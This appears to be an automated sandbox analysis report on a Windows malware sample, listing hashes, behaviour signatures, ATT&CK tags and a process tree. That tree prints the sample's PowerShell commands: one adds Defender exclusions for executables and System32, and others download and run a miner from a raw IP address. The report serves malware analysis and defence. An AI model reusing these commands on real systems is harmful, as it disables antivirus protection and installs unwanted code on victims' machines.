f6126b8f69c8502ea5fbcbfe6d9c370ab3c26b4c153f27347ca56e6ec1fbd224

Analysis

max time kernel
92s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
11/06/2024, 03:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f7c43a1b2e358cb34026af42c77985a0027d4582c6fdcd7c77f4f7b5d517b9fb.exe
Size 96KB
Sample240611-d8qlpssgpf
SHA256 f7c43a1b2e358cb34026af42c77985a0027d4582c6fdcd7c77f4f7b5d517b9fb
MD5 c39fbaa16c9f9d3c833b9452c6a85940
SHA1 f7347a9a5696764339b03942aaa84ec4eaeda8c5
SHA512 67b54af9204a123154da630e0cc50b46a5ada68851dbcd719c0bfc2f41b34d950c6c54e308c3a809b668c1646e33b2bb0277b2bc041449f3e0d85b8cb18efd89
SSDEEP 1536:3qOpZYLPWqOpqKTpXDkLepf3NW7d9NE768E0e+7zF6VkXOhC/LSCvsW90VcdFy9q:3qLUprZEeF3NWf8E0eaFuhCzgkFQvbHO
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	4616	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2856	powershell.exe
4616	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2856	powershell.exe
2856	powershell.exe
4616	powershell.exe
4616	powershell.exe
1772	powershell.exe
1772	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1232 wrote to memory of 2856	1232	DllHost.exe	81
PID 1232 wrote to memory of 2856	1232	DllHost.exe	81
PID 1232 wrote to memory of 2856	1232	DllHost.exe	81
PID 1232 wrote to memory of 4616	1232	DllHost.exe	83
PID 1232 wrote to memory of 4616	1232	DllHost.exe	83
PID 1232 wrote to memory of 4616	1232	DllHost.exe	83
PID 1576 wrote to memory of 1772	1576	DllHost.exe	93
PID 1576 wrote to memory of 1772	1576	DllHost.exe	93
PID 1576 wrote to memory of 1772	1576	DllHost.exe	93

C:\Users\Admin\AppData\Local\Temp\f7c43a1b2e358cb34026af42c77985a0027d4582c6fdcd7c77f4f7b5d517b9fb.exe
"C:\Users\Admin\AppData\Local\Temp\f7c43a1b2e358cb34026af42c77985a0027d4582c6fdcd7c77f4f7b5d517b9fb.exe"
1⤵
PID:2812

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension 'exe' -ExclusionPath 'C:\Windows\System32\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest "http://46.102.174.48/miner.exe" -OutFile 'C:\Windows\System32\msdr.exe'
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4616

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & 'C:\Windows\System32\msdr.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 1b70fd64aca360f031c2e74f40e7ffd935e2ca86ee3e070ad1e6e0d66e5b54bf
MD5 c35f6a8a58cd802846217d9c28c24e2b
SHA1 aa455fe658f7066ba82b773d54259eed113750b9
SHA512 a98a88b7873e007739e8681bbc1854001525e74eed4c33c5871cd35a92efb9fe8dfc8ea4987ebc81893bab8d2bd97d15255b33e92eb21110bba8d7e62120c8b7
SSDEEP 384:4sf+B29i+AP5dbtreIk+o9oLATHTK6seYUME/h03SoZksfYSg0jEDkeQ0gdItkKF:VfIP7JCjoETHTNzrqStGWKEDjCq3
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 677a8941e90cdd14e4f8c77ff1da18fc6b2fa4824154f7e0221319f4d395e047
MD5 5189964f3e4eda811cd91f7618e2aba8
SHA1 37ebd705759771e5c1b5d0709e99f1ee74a93612
SHA512 5ede16ab821f6aa59801c6e0030e51a0a77b7cc138dbd0f4b525a2c2de61016c3267b23772b4f849edc6d89d5c089fb8e5eeea5ff9442cae7146945987814ec9
SSDEEP 384:+b+EFA9i+igRErBizIk+fQIcnpTpK6seYkHi8/FJ3SoE3fMHjEhm/gDmyeLN1VF3:6TFpoPQQIypTpNPBLS3MDEhXWXV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_4w2kek3w.rua.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4w2kek3w.rua.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/2856-40-0x0000000006C20000-0x0000000006C3E000-memory.dmp

Download

memory/2856-43-0x0000000006D90000-0x0000000006DAA000-memory.dmp

Download

memory/2856-7-0x0000000005440000-0x00000000054A6000-memory.dmp

Download

memory/2856-6-0x00000000053A0000-0x0000000005406000-memory.dmp

Download

memory/2856-5-0x0000000004AB0000-0x0000000004AD2000-memory.dmp

Download

memory/2856-17-0x00000000054B0000-0x0000000005804000-memory.dmp

Download

memory/2856-18-0x0000000005A60000-0x0000000005A7E000-memory.dmp

Download

memory/2856-19-0x0000000005AB0000-0x0000000005AFC000-memory.dmp

Download

memory/2856-29-0x0000000006030000-0x0000000006062000-memory.dmp

Download

memory/2856-30-0x00000000704C0000-0x000000007050C000-memory.dmp

Download

memory/2856-0-0x0000000073BDE000-0x0000000073BDF000-memory.dmp

Download

memory/2856-41-0x0000000006C50000-0x0000000006CF3000-memory.dmp

Download

memory/2856-42-0x00000000073D0000-0x0000000007A4A000-memory.dmp

Download

memory/2856-4-0x0000000073BD0000-0x0000000074380000-memory.dmp

Download

memory/2856-44-0x0000000006E00000-0x0000000006E0A000-memory.dmp

Download

memory/2856-45-0x0000000007010000-0x00000000070A6000-memory.dmp

Download

memory/2856-46-0x0000000006F90000-0x0000000006FA1000-memory.dmp

Download

memory/2856-47-0x0000000006FC0000-0x0000000006FCE000-memory.dmp

Download

memory/2856-48-0x0000000006FD0000-0x0000000006FE4000-memory.dmp

Download

memory/2856-49-0x00000000070D0000-0x00000000070EA000-memory.dmp

Download

memory/2856-50-0x00000000070B0000-0x00000000070B8000-memory.dmp

Download

memory/2856-53-0x0000000073BD0000-0x0000000074380000-memory.dmp

Download

memory/2856-3-0x0000000073BD0000-0x0000000074380000-memory.dmp

Download

memory/2856-2-0x0000000004B40000-0x0000000005168000-memory.dmp

Download

memory/2856-1-0x0000000004490000-0x00000000044C6000-memory.dmp

Download